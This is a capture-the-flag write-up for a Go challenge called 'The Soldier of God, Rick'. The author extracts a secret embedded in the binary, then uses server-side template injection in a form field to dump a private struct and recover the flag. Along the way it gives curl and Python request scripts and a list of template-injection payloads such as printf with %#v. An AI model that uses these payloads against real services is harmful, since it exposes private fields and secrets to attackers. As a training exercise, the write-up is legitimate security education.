The Soldier of God, Rick

Description
Can you defeat the Soldier of God, Rick?
Overview
This challenge is a Go-based service that provides a /fight endpoint, where users can send a battle_cry input to simulate a battle.
The main vulnerabilities in this challenge are:
- Server-Side Template Injection (SSTI) in Go templates
- The template renders internal objects directly without sanitization
- An attacker can read sensitive fields that should not be exposed, including the flag
Goal: Extract the flag stored in the internal structure of a Go object using SSTI.
Solution Steps
1. Extract Embedded Resources
The provided binary is a Go executable named: rick_soldier
Since Go binaries often use the embed.FS feature to store internal files such as templates, configs, and assets, the first step is to extract the embedded resources from the binary.
To do this, we use the tool: Go-Embed-Extractor
This tool allows us to extract embedded files from a Go binary without performing manual reverse engineering in a disassembler.
git clone https://github.com/dimasma0305/Go-Embed-Extractor
rm -rf Go-Embed-Extractor/.git
cp Go-Embed-Extractor/extract_embed.py .
python3 extract_embed.py rick_soldier
After extraction, we obtained a .env file containing SECRET_PHRASE.
This secret phrase is used by the
/fightendpoint to validate requests.
2. Interact with the /fight Endpoint Using the Discovered Secret
Next, use the discovered secret to access the endpoint.

After entering the secret:

This proves that the secret is valid and the endpoint can be accessed.
3. Identify Server-Side Template Injection (SSTI)
I used AI to help analyze the extracted template source code and also to understand the functions from the Ghidra decompilation. From this analysis, it was discovered that the template renders internal objects directly without sanitization, which makes SSTI possible.
The battle_cry input is inserted into the template, so it can be tested using template injection payloads.
Simple test payload:
{{7}}
Result: 7

4. Identify Objects Available in the Template
In Go templates, the symbol . represents the root object passed to the template.
We can print the object using:
{{ . }}I switched from sending payloads via the web interface to using the CLI with the following script:
TARGET=challenges.1pc.tf:<PORT>
SECRET="Morty_Is_The_Real_One"
send_payload() {
local payload="$1"
local desc="$2"
echo -n "Trying payload: $desc ... "
# Send request with battle_cry containing SSTI payload
response=$(curl -s -X POST "http://$TARGET/fight" \
-d "battle_cry=$payload" \
-d "secret=$SECRET")
# Extract the "You screamed: ..." part from the HTML response
result=$(echo "$response" | grep "You screamed:" | sed 's/<[^>]*>//g' | sed 's/You screamed: //g' | xargs)
if [[ -z "$result" ]]; then
echo -e "${RED}[FAILED]${NC}"
else
echo -e "${GREEN}[SUCCESS]${NC}"
echo -e " -> Result: $result"
fi
}
send_payload "{{ . }}"
5. Enumerate Template Objects Using a Script
To simplify enumeration, I asked AI to generate a script with useful SSTI payloads to identify fields in the template object and help retrieve the flag.
import requests
TARGET = "http://challenges.1pc.tf:44424/fight"
SECRET_PHRASE = "Morty_Is_The_Real_One"
def send_payload(payload):
data = {
"battle_cry": payload,
"secret": SECRET_PHRASE
}
r = requests.post(TARGET, data=data)
if "You screamed:" in r.text:
start = r.text.find('<span class="text-white italic">"') + 33
end = r.text.find('</span>', start)
result = r.text[start:end].strip('"')
return result
return "ERROR"
payloads = [
'{{ printf "%T" .Secret }}',
'{{ printf "%#v" .Secret }}',
'{{ .Flag }}',
'{{ .flag }}',
'{{ printf "%+v" . }}',
'{{ printf "%#v" . }}',
]
for payload in payloads:
result = send_payload(payload)
print(f"{payload} → {result}")python3 1.py
From the enumeration results, the following information was obtained:
- Determine the type of Secret
{{ printf "%T" .Secret }} → stringThis means
.Secretis a string.
- Attempt direct access to the flag field
{{ .flag }} → flag is an unexported field of struct type router.BattleViewThis indicates that the flag field exists, but cannot be accessed directly because it is a private field.
- Enumerate the root object structure
{{ printf "%+v" . }} → BattleView{Rick: Rick, Soldier of God HP:999999, LastMsg: Rick explicitly ignores your Scream. He is simply too powerful.}This shows that the root object is a struct named
BattleView.
- Exploit: Dump the entire struct using printf %#v
{{ printf "%#v" . }}Result:
router.BattleView{
Rick:(*entity.Rick)(0xc00009b260),
Log:interactor.FightLog{
Message:"Rick explicitly ignores your Scream...",
RickHP:999999
},
flag:"C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_03360dd9c368}"
}Flag
C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_03360dd9c368}